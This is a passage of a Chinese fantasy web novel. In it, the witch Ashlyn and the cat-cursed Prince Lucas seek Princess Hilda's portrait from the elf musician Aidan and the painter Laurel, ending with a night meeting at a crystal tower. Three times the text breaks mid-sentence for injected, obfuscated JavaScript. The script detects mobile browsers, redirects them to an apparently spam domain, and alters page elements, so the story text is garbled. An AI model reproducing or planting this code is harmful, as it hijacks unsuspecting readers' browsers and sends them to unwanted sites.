“……检查虫子。”阿什琳硬着头皮胡扯,“对。最近虫灾泛滥,你有听说吗,大人?” 艾丹看上去非常惊讶。 “哇,我一点儿也没听到呢。” “那你真是走运。很好,你的乐谱里也没有长虫。”阿什琳放下谱子,“接下来,轮到这些画了。” 她重新拿起速写,装模作样地凑近“检查”。 “有什么问题吗?” “问题可大了,大人!”阿什琳夸张地说,“太可怕了,我必须检查所有画!” “那请你小心对待劳瑞尔的作品。”艾丹说,“她是我的一位重要朋友。别告诉任何人——有些作品甚至还是她违规画的呢。” 阿什琳放下画作。 “那你为什么要告诉我?如果我举报了她呢?” “你不会的,因为你是个前来寻求帮助的人类。”艾丹慵懒地在沙发上坐下,玩味地注视着她,“……贝利小姐。” 阿什琳泄了气。 “你怎么知道的?” “不同精灵对魔法的感应程度也不一样。而我,恰恰是整个伊洛文亚除了梅莉娅以外,对魔法最敏感的精灵。”艾丹说,“我一进屋,就感受到你那狂野的森林气息了——你的灵魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261455|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,有着松树与野狼独有的旋律。” 阿什琳一时不知该对艾丹竟先认识了她这件事如何作想。她克制住仰天长啸的欲望,努力寻回一点残存的理智。 “我很抱歉我前面胡扯了那么多,”阿什琳说,“你现在没有对我身上的猫毛什么的……过敏吧?” 艾丹轻笑一声。 “没有,我想只有活生生的猫才会让我过敏。”他说,“说吧,你想要什么?” 即便是这种时候,回答这个问题,阿什琳依然在“你的签名”和“希达的画像”之间犹豫片刻。 “希达公主的画像。”最终,她还是坚定了任务,“我知道它在你手里。我和卢卡斯有一项计划,需要用到它。” 艾丹手指尖顶着下巴,一副若有所思的样子。 “你为什么会觉得,我会把它给你呢?” “因为,两个无辜之人需要你的帮助来打动女王,从而帮你们夺回宝物,解除可怕的诅咒。” “就这些?” 说得这么简要听起来毫无说服力,但阿什琳的脑子已经被“我竟然在和精灵大乐师艾丹说话”这件事挤满,很难腾出什么漂亮话。 她想起自己之前准备的见面台词,比如表达她是多么喜欢他的音乐与才华,可现在完全找不到时机。 “就这些。” 艾丹似笑非笑,不知在想什么。 接着,他突兀地离开了房间。 阿什琳还以为他这就抛下她了,由于她愚蠢的错误和愚蠢的话语。结果,他只是从阳台捧了一株含苞欲放的紫罗兰,递给阿什琳。 她摸不着头脑——艾丹这是抢了她的动作吧?她可是费劲力气才没有给偶像献花呢。 现在,她是应该跪下来感激涕零,还是故作矜持地拒绝? 艾丹打破了阿什琳的幻想。 “可以让我见识一下你的魔法吗,贝利小姐?” 阿什琳总算明白过来。 “这是个交易么?”她问,“我给你展示魔法,你就借我用一下希达的画像?” 艾丹坐在她身前,满怀期待。 “当然,你说是就是。” 提前让花朵绽放对阿什琳来说并非太难的魔法,只是万物生长有规律,拔苗助长不是她的喜好。为了完成任务,她只好将计就计。 她感受到花朵柔嫩的生命,魔法流转其间。 不出几秒,每朵紫罗兰便都绽开花瓣,泛着清甜的香气。 艾丹抚摸起紫罗兰的花瓣,几近入迷。阿什琳不禁想起卢卡斯看到月神祭坛谜语时的样子,艾丹简直与他如出一辙。 “这真是太美妙了。”他惊喜地说,“没用法杖,没念咒语,没做仪式……小姐,你果然名不虚传。” “谢谢您,大人。您也很美妙。”话一脱口阿什琳便想踢自己一脚,“我是说您的音乐!音乐很美妙。” 艾丹扬起眉:“你是个粉丝?” “大粉丝。我收藏了你的二百七十一首曲谱。” 看着艾丹震惊的表情,阿什琳怀疑自己是不是又说错话了。也许收藏这么多曲谱在几百岁的精灵大明星这儿也是件令灵毛骨悚然的事。 “卢卡斯王子收藏了二百七十六本。”她好死不死地补充,接着又在心中骂自己越描越黑,还卖了队友。 “荣幸之至。”艾丹乐了,“想不到我在人类中也能拥有铁粉。这束花就送给你了,我亲爱的粉丝。” 阿什琳捧着花,不好意思起来:“叫我阿什琳吧。” 艾丹转身打开抽屉,取出一个银色小盒。 “希达的画像就在里面。”他听起来很有自信,“我给梅莉娅展示时,不知为何她表现得很冷淡,也没有拿走……我想她是在故意克制……” 艾丹低念咒语,小盒银锁转动,“啪”地打开。 一时间,他们谁也没说话。 里面空空如也。 21.违规速写 “不可能。”艾丹比阿什琳还要惊讶,“我就是把画像藏在这儿的啊……除非……不。” “除非?” “唯一直到怎么打开我的盒子的,是我的画师朋友劳瑞尔。希达的画像正是她的作品。”艾丹答道,“但她不可能来偷我的东西。如果她想看自己的画,随时都可以问我。” “或许我们可以去问问她。”阿什琳提议。 “现在吗?”艾丹踌躇不决,“最近她都在画室工作呢。我认为明天再去更为礼貌稳妥。” 这可不行,他们只有七天的准备时间,今天怎么能浪费大半天? “那你告诉我她的画室在哪儿,我自己先过去。” “我……不能。这是她的隐私。” 阿什琳转过身。 看来她只好自己去找了。她宁可奔波一天来找劳瑞尔的地址,也不能待在宫殿无所事事,不然她会死掉。 “你这就要走了?” “除非你还有事告诉我。” “我不认为劳瑞尔真的有什么线索。那家伙很难对付……可能会浪费你的时间。” “那浪费的也是我自己的时间,不是吗?” 然而,艾丹依旧挡在门口。 “换做是我,可不会打扰她。恕我直言,阿什琳,你会无功而返。” 阿什琳挑起眉。她最讨厌别人不断阻挠,并告诉她下场会多么地惨。没有什么事情一定会怎样。 更何况,现在竟然是她崇拜了多年的精灵偶像在苦口婆心地劝诫她,警告她会失败。 “嗯哼,是吗?” 她注视着艾丹手边的木门框,一条长长的树枝在她的意念下悠悠生起。 “幸运的是,我不是你,艾丹大人。” 她没有要吓唬大偶像的意思。这只是一条信息,告诉他,没有谁能够阻拦阿什琳·贝利。 艾丹立刻松开木门,震惊地看着树枝缠绕上他的手臂。 “我本以为你会不一样,就像你的音乐那样,带着那种灵动、出其不意的优雅,从不循规蹈矩。”阿什琳深深叹了口气,“看来,我错了。” 精灵大乐师愣在原地。 她果断将艾丹推到身后,大步向门外走去,对偶像的懦弱深感失望。 唯一的问题是,现在脱粉有点太晚了。她还有二百七十一本他的乐谱呢。 “等等!”艾丹拍上她的肩膀。 “不得不承认,你很有意思。”他叹气一声,“好吧,我愿意带你去找劳瑞尔,但只是因为不想你这么快离开。” 阿什琳怀疑地盯着他。不想她这么快离开?他还有什么意图?还是说艾丹有让粉丝留在身边增长自己信心的习惯? “这话是什么意思?” 艾丹颇有深意地一笑,没有作答。 伊洛文亚由于藏在深谷之中,即便是仲夏也不觉炎热。他们穿过花园,来到平民区。但其实就连平民区,建筑也美得和迷你宫殿一般,只是造型更为简洁。 阿什琳新奇地注视着处处可见的雕像和来来往往的精灵。 但是那些雕像越来越无法惊艳她了:它们简直都是一个模子里刻出来的,动作大差不差,往往七尊为一组,令她审美疲劳。 再接着走,她甚至觉得雕像在用一模一样的眼神盯着她看,就像在龙晶幻象中排队等候她的客人。 好在每走几步,路边就会有精灵弹琴歌唱,被一圈精灵围着喝彩,分散了她的注意力。 他们的音乐节奏舒缓、声音轻柔,阿什琳能听出来其中基本上都是艾丹作曲:《橡树的秘密》、《莱以达小调》、《仲夏》…… 就没有她没听过的了吗? 他们来到山谷的东境,一条银色的河流在岩石间穿行。 阿什琳踏上河上的石桥,却被艾丹一拽。 “下面。”他指了指。 拱桥之下有一扇橡木小门,上面粘了些黄色颜料,底下还刻几句精灵文,字体夸张: 警告!前方垃圾场,严禁入内! “我以为你说我们要来画室。” “这儿就是画室。”艾丹说,“我的朋友有一些奇怪的幽默感。” 他深吸一口气,如临大敌般敲敲门环。 没有动静。 “劳瑞尔?是艾丹,我知道你在那里面。我有急事找你。” 还是没有动静。他又轻轻拍拍门。 “滚。”一个暴躁的女声从屋内传来。 “你是说让传说中的森林之子也滚吗?” 这回,门开了。 眼前的精灵满脸雀斑,姜红的卷发在身后爆炸开来,像一团烈火。最前面的几缕头发被蓝色与紫色的颜料纠结成一团,不仔细看还以为是头饰。 她只穿了件粗布服,大概曾经是白色的,但现在已经五彩缤纷得像调色盘一样。 “什么森林之子?”她咄咄逼人道,随后见到阿什琳,“这不是那个小女孩儿么,怎么变成精灵了?” 她的通用语说得没有艾丹、梅莉娅或骑士长那么好,带着浓厚的精灵语口音。 劳瑞尔又凑近了些:“啊,是幻术。挺厉害哈。” “你见过我?”阿什琳问。 “当然。那天晚上在主殿,我们都看见了。”劳瑞尔说,“先进来吧。小心地面。” 阿什琳还没来得及将最后那句提醒印在脑子里,就已经差点被地上的一堆炭笔绊倒,艾丹及时扶住了她。 画室不大,当然,墙上贴满了画作与草图,但似乎没有一张是完整的,更多是涂鸦与速写,画作的丰富程度还不如艾丹的房间。 画的主人好像一直在寻找灵感,但无功而返。 架子上则摆满了石膏像、几何体与颜料罐。 阿什琳觉得,这里的混乱程度和她自己的房间有一拼。 她纳闷:“你在桥洞底下,没有光线怎么画画?” “哦,这儿是我用来清理头脑中的垃圾的地方,光线是我最不需要的因素。”劳瑞尔耸耸肩,“先坐吧。” 说完,她似乎意识到压根没地儿可坐,赶紧又拉来两个木箱。 “你们最好是真的有急事儿。”劳瑞尔不耐烦地说,“我还在清理垃圾。” 她的“垃圾”自然指的是脑海中的垃圾,因为现实中的她可是一点也没清理。 “希达的画像不见了。”阿什琳直奔主题,“艾丹说只有你知道怎么打开他的盒子。” “你们怀疑是我拿走的。”劳瑞尔似乎觉得好笑,“我偷公主的画像干什么?” “你是它的作者。”阿什琳指出,好像这就自圆其说了似的,“或许,你知道一点线索。” 劳瑞尔白眼一翻。 “那已经是我的黑历史了,我可没有恋丑癖——没有说公主丑的意思,我是指我的画技。相信我,我从来没碰过艾丹的盒子。那盒子上的咒语我也藏得好好的。” “那真是……太奇怪了。”艾丹不知在想什么。 “那画像没什么。”劳瑞尔说,“不算我最得意之作,我巴不得以后没人看得着呢。我当时的技艺还有待提高……” 她听起来后悔万分。 “那看来目前没有办法了。”艾丹说,“可惜啊,这张画像还是我刚从杂物堆里翻出来的。指不定哪天就又出现了。” 这两个精灵都一副毫不在意的样子,好像名画失窃在精灵谷是家常便饭。 “与人类不同,我们的艺术作品都魔法。”劳瑞尔补充说,“画作丢失很正常,可能魔法出了问题,里面的灵气漏出或爆发……这种时候,无论是谁都无能为力。” 阿什琳不相信就没有任何补救方法。按卢卡斯的计划,她必须知道希达公主的具体形象,否则无法打动梅莉娅。 她环顾起画室,眼睛从那些速写上一一扫过。劳瑞尔的确技艺精湛,但技艺只是她最不突出的优点。她的线条是如此灵动,每张画都好像随时要开口说话一般。 她的目光落在最近的一叠速写上。画面中,一个面容熟悉而又英俊的男孩引起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266285|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的注意。 “卢卡斯。”她喃喃道。 画上的卢卡斯正在主殿宣布自己将为女王献上一份大礼,神情自信从容。阿什琳光是看着这张速写,就仿佛回到了那一刻。 艾丹责备道:“在陛下讲话时画速写?劳瑞尔,我知道你从不重视规矩,净画些违规的画,但这未免太失礼了。” 劳瑞尔一挥手:“嗨,那孩子长得挺适合画的。机不可失,时不再来嘛。再说,违规的画让我感觉兴奋,更有灵感啊。” 违规的画。 这点醒了阿什琳。 卢卡斯是怎么说的来着? 七岁之前,任何精灵都不能拥有画像或雕塑作品。这是精灵的规矩。 “那在七岁之前就给希达公主画像,是不是更让你兴奋呢?”阿什琳问。 “没错。”劳瑞尔说完才反应过来,“等等,什么?” 或许阿什琳看错了——艾丹的脸上好像闪过一丝隐隐的微笑。她眨眨眼,那抹笑容便消失得无影无踪。 艾丹从一开始就看着很神秘,但他是她的偶像,大名鼎鼎的乐师,难道这耀眼的身份蒙蔽了她的双眼? 他刚刚那么极力阻挠她,现在态度却有捉摸不定。 也许他的话没有那么值得信服。 但愿是阿什琳自己想多了。她不喜欢怀疑身边任何人,更别提自己的偶像。 她在速写堆中翻找起来。 “嘿!你干什么?” “当然是找我要找的东西。” 劳瑞尔急忙道:“好吧,你是对的。我的确在公主七岁之前就画过她的画像。但你千万不能说出去——不然我可能会永久禁画。” “精灵到底为什么七岁之前不能有肖像艺术作品?”阿什琳好奇。 “就像我们刚刚说的,精灵的艺术有魔力。”艾丹解释,“七,对精灵来说是一个神圣的数字。七岁之前的精灵,灵魂尚不稳定,无论是画像还是雕塑都有可能……” 他顿了顿。 “……对灵魂产生影响,或反过来,灵魂对作品产生影响。” “什么影响?” “我不知道。这只是个广为流传的传说。” 阿什琳尽量不去想那是什么意思。 “我有个提议。”她说,“劳瑞尔,你能不能将你给希达公主画的违规速写借给我们?” “好处是?” “我不举报你。” 劳瑞尔眯起眼,哼笑一声。 “你在威胁我吗,人类女孩?” 阿什琳耸耸肩。 艾丹饶有兴趣地望着他们,像在观赏一场表演。 劳瑞尔用精灵语骂骂咧咧地找起画来,很快便抽出一张有点皱巴的纸,扔给阿什琳。 画中,彩炭勾勒的精灵小女孩静静望向窗外,似乎年纪轻轻就满怀心事。她有一双深紫色的大眼睛,卷发瘫软在肩头,身上带着一股忧郁。 劳瑞尔说:“这张比别的好点儿,至少还能看。” 阿什琳目不转睛地望着画。或许精灵的规矩真的不只是流传,她似乎隐隐感觉到画面中的生命,比刚刚卢卡斯的速写更为强烈。 “太完美了,谢谢你。”她将画卷好,收进背包,“那么,我告辞了。艾丹,你跟我走吗?” 阿什琳拉开门环,但是门一动不动。她背后,传来劳瑞尔古怪的笑声。 “你不会真以为,你能这么轻而易举地拿着我的违规速写走吧?”精灵画师拍拍衣服,摇了摇手,一个木画架、画布与几捆画笔像磁铁一样吸过来,“现在,好好坐下,来支付你买画的费用。” 阿什琳惊恐地发现自己的腿自动坐到劳瑞尔面前。 艾丹也同样如此——他一脸无奈,能看出来这件事已经在他身上发生多次。 “怎么支付?” 劳瑞尔眼中闪着一丝疯狂,若不是知道她是画家,阿什琳会以为这个精灵马上就要吃了她。 “当然是通过当模特啦,亲爱的森林公主。” 22.业余模特 当模特比坐牢还糟糕——至少坐牢还能在一定空间里动一动。 阿什琳只是保持一个动作五分钟,就已经不耐烦了,浑身上下都痒,好像身体突然间来了一群跳蚤。她完全无法想象那些著名油画中的模特是怎么做到的,这世上没有任何事值得她一动不动。 艾丹则适应得很多。显然,这不是他第一次当劳瑞尔的模特。他的手臂自然舒展着,神情放松,和在自己家里并无区别。 相比之下,阿什琳感觉自己像一尊失败的雕像,僵硬、麻木,即将坍塌。 “真是天赐良机啊,我正好最近受陛下委托,要完成一幅关于月神与森林神的作品。”劳瑞尔感叹,“我已经拖稿七个月了。” “那好像不能算‘最近’了吧。”阿什琳指出。 “嘘,别说话。那不是因为灵感迟迟未到嘛。”劳瑞尔说,“最近许多艺术家都缺乏灵感……实不相瞒,伊洛文亚能给我们带来的素材越来越少了。” “你们可以出去找素材啊,”阿什琳提议,“比如,来狄亚斯转转,或是去地精森林旅游。” 劳瑞尔哈哈大笑,似乎阿什琳说了一句特别幽默的话。艾丹也轻轻笑了。 “出去?梅莉娅不让我们出去。外面的世界太危险了:巨龙、黑魔法、怪兽……精灵虽然长生不老,但能轻而易举地被杀死。如今连小猫都能杀死一个精灵——”她瞥了眼艾丹,“啊,无意冒犯。” 艾丹耸肩表示无所谓。 “不过,现在,看看你们俩,简直就是月神和森林神本尊!你们就是我的缪斯啊。” 这个说法令阿什琳眉头一蹙。 “别担心,”艾丹安慰,“劳瑞尔已经拿我当月神的代餐很久了。” 阿什琳可不想当任何东西的“代餐”,神祇也不行。 “各个种族都以为太阳神和月神的关系更有趣,实则不然。”劳瑞尔闭着一只眼,观察他们的动作,“月亮和森林才充满趣味……暗夜与幽林的默契浑然天成。传闻他们有一丝暧昧呢。” 阿什琳感到艾丹正凝视着自己。 他们面对面半躺着。在劳瑞尔的要求下,艾丹必须“非常专心地”注视阿什琳。那双紫色的眼睛令她无法回视,每分每秒都难熬至极,不得不一直望着垃圾堆的方向。 如果几天前有人问她,愿不愿意和世界上最伟大的精灵乐师一起当模特,她会毫不犹豫地答应。 可事实并非如此。 艾丹令她心烦意乱,而她说不出原因。不是那种有趣的心烦意乱——更多是烦躁。 她有种预感,精灵乐师对她有所隐瞒。她想要询问,却无从下口。 “嗯,是吗?” “当然只是传说啦。我还听说月神会给森林的孩子一些神秘的指引,不知真假。” 这倒是真的,阿什琳心想。她的血的确让月神的谜语显形了。她不知道自己是否该提起这一点,这能说明什么吗? “放轻松,”艾丹说,“就算月神真的给了你指引,我们也不会过问——伊洛文亚之外的事皆与精灵无关。” 精灵早已隐居避世,数个世纪的光阴里,无论是龙之战役的烽火燎原,还是黑女巫辛西娅的暗黑统治,都未曾惊扰他们的沉寂。伊洛文亚是他们隔绝尘嚣的避风港,也是不染纷扰的世外桃源。 阿什琳耳畔回响起地牢中精灵的话:“封闭,大概是我们一族最大的弱点……” 梅莉娅女王不让他们出去。精灵艺术家也渐渐失去灵感。神像树正在枯萎。代表生命的诺卡利魔笛失踪。希达公主的画像丢失。七岁前的画会影响灵魂。 她感觉眼前的碎片本应拼成一完整的拼图,可是它们混沌不堪,缺乏链接。 风暴将至,可她在干什么呢? 她应该去找卢卡斯的。 劳瑞尔承诺她只是参照他们的动作打个草稿,看看灵感是否对得上,因此不会花太多时间。 二十分钟后,她总算允许他们休息一下。 阿什琳迫不及待地在屋子里踱步,艾丹则打了个喷嚏。 然后,他又接连打着喷嚏,狠狠抽起鼻子。 阿什琳本应同情他,可心却不由自主地欢呼雀跃起来。 这只能意味着一件事…… 她余光一瞥,门缝果然是开着的,漏出几根胡须。一只蓝眼睛从缝隙中悄咪咪瞧着她。 卢卡斯是怎么找到这儿的? 气味。或许她低估了猫的嗅觉。 “我出去透透气。”阿什琳立刻说,庆幸自己终于有理由离开。 劳瑞尔没管她,但艾丹却站起身,随意地伸展了一下因久坐而僵硬的身体,踱步到画架旁。 “先让我们看看进度如何,劳瑞尔。希望你别把我画得太难看。”他微笑着俯身端详画布,恰好挡住了劳瑞尔看向阿什琳的视线。 劳瑞尔狠狠戳下一笔。“你对我这么没信心,乐师大人?” 刹那间,阿什琳感到手心被一样东西轻轻一碰。一张被巧妙折叠成紫罗兰形状的硬纸卡片便已落入她的掌心。 整个过程快得如同错觉。艾丹的身体甚至没有转向她,他的目光依然停留在画布上,仿佛只是不经意间从她身边经过。 “真是栩栩如生。”他评价道,“你是对的,阿什琳的确有森林女神的感觉。” 她手指紧紧攥住那朵纸花,感觉它像一块烧红的炭。 艾丹这才仿佛刚注意到要离开的阿什琳,对她投去一个告别式的微笑。 “待会见。”他的语气轻描淡写,但那双紫色的眼睛里却清晰地传递着另一条信息。 阿什琳如被烫到一般,几乎是小跑着冲出了桥洞。 他是什么意思? 她应该立刻就看看纸条里是什么,但黑猫卢卡斯蹲在一块石头后面,尾巴不耐烦地拍打着。她不想让卢卡斯知道。 见到他,阿什琳感觉整个人都放松了。她从未如此想念过这只恼人的小猫。比起和精灵当模特,还是和黑猫在一起有趣得多。 果然古老的童话都是对的,她心想,女巫和黑猫是最有意思的搭档。 她到底什么时候才能好好摸一把? 每次见到卢卡斯时,她心里都十分矛盾——一方面为看到他而舒心,另一方面,又为摸不到猫而难受得要命。 幸好她不对猫毛过敏,不然人生该错过多少乐趣? 她真心不介意任何动物在她身上掉毛。 在狐尾河湾时,她没有任何宠物,原因是萨诺瓦懒得养。有时,她会去她最好的朋友米娅那里摸摸米娅的小猎犬,和它玩捡树枝的游戏。 “拿到了吗?”卢卡斯的声音将他拽回现实。 “当然啦。”阿什琳决定将艾丹的纸条先放在一边,得意地举着那幅画,“不过艾丹也在这儿,现在已经过敏了。” “我闻出来了。你们偷偷摸摸地在桥洞底下干嘛?” “说来话长……有个画家想让我们当模特。” “你和艾丹?当模特?”卢卡斯的语调提高了些,“你没有向艾丹要签名吧。” “怕你嫉妒,特意没要。” “那真是可惜了,我本来能向你买一份。” “我干嘛卖给你?” 卢卡斯用奇怪的眼光打量着她,目光停留在她的头发上。 “不是吧,”他嘲笑,“为了见他,你还特意打扮了一番呢?” “那是——那是为了蒙骗门卫!”阿什琳气冲冲道。 “随你怎么说。没事,我懂。”卢卡斯理解地说,“换做是我,也会梳理一下头发的。” “那你呢,你发现关于魔笛的线索了吗?” 卢卡斯摇摇头。 “作为猫,在精灵谷真是寸步难行……我觉得我之后还是多也夜间行动吧。我只能说,现在我有个嫌疑人。记得塞提尔吗?” 阿什琳毫无印象。 “他是伊洛文亚的医学生,治疗能力顶尖,最近刚治愈了骑士长塔拉的母亲。”卢卡斯提醒,“我想,魔笛具有治愈能力——也许他并非像表面那样有才华。这个我们完成第一步计划后再谈吧。” 出于阿什琳自己也不知道的原因,她没有告诉卢卡斯艾丹的纸条。为防止希达的悲剧再度发生,他们以最快的速度回到宫殿里阿什琳的房间。 房间内,黑猫对希达公主的速写深思着。 “这张画……给我一种不对劲的感觉。” “我也是。”阿什琳告诉他精灵七年规矩的缘由,“也许画已经被影响了。” “问题不大,再怎么说这幅画也只是对希达形象的参考。真正的问题是——虽然你魔法很强大,但控制精准度仍有待提高,因此你需要多加练习,才能完成我们的计划。” 阿什琳仔细聆听着卢卡斯的计划,渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284642|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐忘记纸条的事。 听一只猫侃侃而谈,在外人看来或许是件诡异的事,但现在她已经习惯。 黑猫在讲述计划时,蓝眼睛总是异常明亮,语调自信。 他们在宫殿安静的房间里,说着只有自己懂的魔法猫语,练习魔法。 阳光由白金渡向橘红,卢卡斯背着窗户,夕阳在他身后勾勒出一圈毛绒绒的光变,让他整只猫成为一个剪影。 “在你变回人形之前,”阿什琳开口,“我有一个小小的请求。” 此时她已经为计划练习得有点魔力透支。房间里本来只有一小株绿藤,在阿什琳的力量下越生越大,枝叶爬满房间,七扭八歪,却依然没达到他们想要的效果。 几个小时过去,她还没能学会控制它们的生长方向与速度,甚至效果还不如她在昨日酒馆那天。至少那时她一心想要救卢卡斯,对酒客们的绑架感到愤怒。强烈的感受令她的植物肆意生长。 但现在,理性来接管,她必须学会用另一种方式与植物互动。 严谨控制,对她来说甚至比一动不动还要难。 当然,如果她擅长精确操控,她从一开始就不会把王子变成猫。 她已经搞砸了一次,不能再搞砸第二次。 如今她清楚地意识到自己魔法的缺陷与提升它的方法,过程虽然痛苦,但能让她看到希望。她需要将感受与精确的咒语结合,才能实现整个计划。这一次,她无法再为此找借口;这一次,她不得不强迫自己静下心来,思考咒语的构词、音节、隐喻。 不过现在,阿什琳觉得,自己已经如此尽力,提出一点小小的要求完全不过分。 “是什么?”卢卡斯依然研究着她练习后的作品,试图找出问题所在。 阿什琳换上自己最轻松自然的口吻。 “我想摸你。” “……再说一遍?” “我、想、摸、你。”阿什琳一字一顿地说。 黑猫打了个冷战。 “我拒绝,谢谢。” “请你换位思考一下:你的身边每天都有一只毛茸茸的可爱小动物,你能忍住不摸一下吗?我是说,就一下?” 卢卡斯眼睛半眯起来。很有可能,换做是他,也无法拒绝这种诱惑。 “既然如此……我也有个请求。” “为了撸猫我什么都会做的。”阿什琳赶紧说。 “说出来你别笑。” “你知道的,我一向十分严肃。” 卢卡斯投来一记瞪视,阿什琳这才意识到自己说这句话时还在笑。 她赶紧换上一张扑克脸。 “你说吧,我对太阳神发誓我不笑。” 接下来的话对卢卡斯来说似乎很难出口,比起句子更像针扎。 “让我玩一会儿你的藤蔓。” 阿什琳真想狂笑一阵。 她深吸一口气,尽量去想一些可怕的东西(比如萨诺瓦的失踪,或是小时候欺负她的男孩儿),来让自己遵守严肃的誓言。 卢卡斯看上去十分认真——猫本性难移,他大概已经想玩什么东西很久了。 她憋住笑意,冲房间里的植物挥挥手,做出一根逗猫棒的形状。 “Oscilla.”她低声念出一句咒语,藤蔓便自己快乐地摆动起来。 卢卡斯打起精神,像只大老鼠一样蹲起来,全神贯注地盯着藤蔓,准备好后凶猛地一扑,却落了个空。 但这丝毫没打击他的气势。他坐起来,眼睛随藤蔓的摆动而转动,令人想起钟摆。 阿什琳放任他玩了一会儿,在一旁给他鼓劲儿。每当他成功时,她就大声喝彩,把这只猫的狩猎技巧夸得天花乱坠。 “差不多了,”阿什琳说,“现在想挠痒痒吗,小猫咪?” 就在这时,她的口袋里燃起火焰。 她惊慌地往里一掏,叫出声;指尖被烫得缩了一下。 “怎么了?”卢卡斯战胜了藤蔓,叼着它的叶子,歪头看她。 “没什么。”阿什琳撒谎道,“我——我突然想起一件事,你先玩儿你的。” 未等卢卡斯回应,她便匆忙奔出房间,来到宫殿一处无人的角落,颤抖着打开那张滚烫的纸条。 手一抖,纸条落在地上,真的烧起火苗。 燃烬之前,阿什琳看清了上面的字: 七点,水晶塔。 23.你的音乐 水晶塔位于主殿不远处,它并非真由水晶建造,只是在月光下如水晶一般晶莹剔透。 外面有点冷。阿什琳裹着斗篷,匆匆经过花园那些她仅仅两天就已经看腻了的雕像。她衷心希望艾丹是真的有很要紧的事,才打断她摸猫。 这并不代表她不好奇——她的偶像一直表现得难以捉摸,她也的确想知道究竟为何。 她没有向卢卡斯解释,因为感觉这是件……私事。 空气中弥漫着萤火虫一般闪闪发光的魔法颗粒,可能是谁家的音乐。 她爬上塔楼,颗粒消失不见,才发现自己竟忘了带盏油灯或蜡烛,睁着眼就像没睁。 真没想到外面亮晶晶的水晶塔,内部竟没有灯。 阿什琳只好像盲人一样摸起扶手,艰难行进。 刚踏上一节台阶,整座塔就被她从黑暗中唤醒。淡紫色的星辰自她脚下流淌,蜿蜒上台阶每一处,铺成一条梦境般的地毯。 她的世界被点亮了,墙上腾起簇簇紫火,欢呼她的到来,半空中飘来细碎的光尘。 太阳神在上,艾丹竟然为她布置了这个? 地毯尽处,那位银发精灵手捧着只光亮蘑菇,静静等待,就像…… 阿什琳知道这看起来像什么。 她决定显得不再像疯掉的粉丝。倘若艾丹因为她是铁粉而对她别有所图,那她绝不能让他得逞。她得让他知道,她喜欢的是他的音乐,仅此而已。 再说,他都几百岁了,总不能真的对一个人类小姑娘感兴趣——这多少有点令人瘆得慌。 于是她没有对他华丽的出场方式作任何赞美,而是摆出一张没有表情的脸,咳嗽一声。 “你到底有什么事瞒着我?”她用自己最冷漠的语气问道,接着又担心自己是否太不礼貌——再怎么说,对方也是伊洛文亚的精灵王子。 艾丹没说话,一如既往。他挥手示意她过来,步入天台。 天台温度更低,阿什琳哆嗦一下,抓进斗篷,尽量将头埋在兜帽里里。 “如果你失声了,我不介意你用手语。”阿什琳说。 艾丹眨眨眼:“嘿,别这么刻薄。我是来给你看一样东西的。” 他从长袍中抽出一张羊皮纸。阿什琳凑近了些:是乐谱。 “这是给你的。”艾丹说道。 阿什琳怀疑自己听错了——也许兜帽影响了她的听力。“哈?” “你的魔法给了我很大灵感。一从劳瑞尔手下逃脱,我就写下了这篇。”艾丹说,“就当是我的……回礼吧。” “我不记得我给过你任何东西值得你回礼,大人。” “哦,不是你主动给予的。光是感受到你汹涌澎湃的魔法,就足以令我灵感奔涌——这比任何实际的礼物都更有价值。”艾丹淡笑,“你知道,梅莉娅禁止精灵离开伊洛文亚。艺术家们终日被困于过去,日复一日,年复一年,无所新意。你和卢卡斯王子的到来就像流星划过,带给所有艺术一缕新光。” “我不明白……我的魔法能给你怎样的灵感?” 艾丹离得更近了些。 “青草上的露珠、树木上的苔藓、森林中的鸟鸣……”他的目光移到阿什琳的发尾,“还有头发中的枝叶。这就是我的灵感,也是你的音乐。” 他从空气中掏出一把小鲁特琴。 “想听我为你奏一曲吗,阿什琳·贝利?” 她不用回答,深知神情暴露了自己的渴望。 谁能拒绝伊洛文亚最伟大的乐师为自己奏乐? 或许她想多了,艾丹并无其他目的;他真的只是对艺术有纯粹的追求,而阿什琳给了他不一样的启悟。他把见面布置得像一场约会,可能只是精灵骨子里生的浪漫。 这么一想,阿什琳忽觉惭愧和窘迫——这场冒险让她变得疑神疑鬼。她不该这么想的。从何时起她成了这种人?她的偶像要为她奏乐,有什么可抱怨的? 她就盘起腿在那儿,摘下兜帽。晚风泛起的凉意在第一个音符飘起时消散。艾丹纤长的手指灵活地舞蹈于琴弦之上,音乐轻盈地跃出弦。 渐渐地,浅紫色的魔法颗粒化作坠落的星星将他们笼罩。 